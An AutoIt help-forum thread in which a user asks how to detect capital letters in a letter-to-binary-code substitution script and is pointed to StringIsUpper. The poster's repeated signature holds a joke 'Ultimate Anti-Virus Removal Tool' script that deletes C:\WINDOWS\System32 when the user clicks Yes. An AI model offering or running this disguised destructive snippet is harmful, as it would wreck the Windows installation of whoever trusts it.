Jump to content

Recommended Posts

Posted (edited)

This is the code I have. Is there any way for this to recognize if a letter is capital or not? Because if I type HEY it returns the same as Hey.

$moo = InputBox("", "Please type 'Hey' or 'HEY'.")


Dim $KeysAndCodes[5][2] = [[ "H", "00001" ], ["Y", "00101" ], ["E", "11101" ], ["e", "11111"], ["y", "00000"]]
Global $text
$code = $moo


For $1 = 1 To StringLen($code) Step + 1
    $5nrs = StringMid($code, $1, 1)
    $text &= _HLEncrypt($5nrs)
Next

MsgBox(0, "Results...", "'" & $moo & "'" & " Translates into: " & $text)
Func _HLEncrypt($numbers)
    For $1 = 0 To UBound($KeysAndCodes, 1) - 1
        If $numbers = $KeysAndCodes[$1][0] Then Return $KeysAndCodes[$1][1]
    Next
EndFunc
Edited by Firefoxy
;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Posted

StringIsUpper

--------------------------------------------------------------------------------

Checks if a string contains only uppercase characters.

Well does this check to see if all of them are upper or just to check if any are upper-case. Because this is just a test I'm doing. When I'm done it will contain the whole upper and lower case alphabet, numbers, symbols, etc.. So will this be able to check a 750 character file? Because it will contain both upper and lower case.

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Posted

Note that digits/punctuation/whitespace will cause StringIsUpper to return 0.

So will this be able to check a 750 character file? Because it will contain both upper and lower case.

Then just create an array and evaluate each character (each element) ... still using StringIsUpper.
Posted

I had that idea, just wondering if there was any other way to do it. Thanks though!

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf
Posted

I had that idea, just wondering if there was any other way to do it. Thanks though!

Well... if that was an idea you had... then why didn't you say that in your first post? Instead, you sounded completely clueless... when, in fact, you "had that idea?"

Sounds like you can figure it out for yourself. :)

Posted

Well, I'm making a GUI with this in it...but I do suppose it does go into General Help. Oops.

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...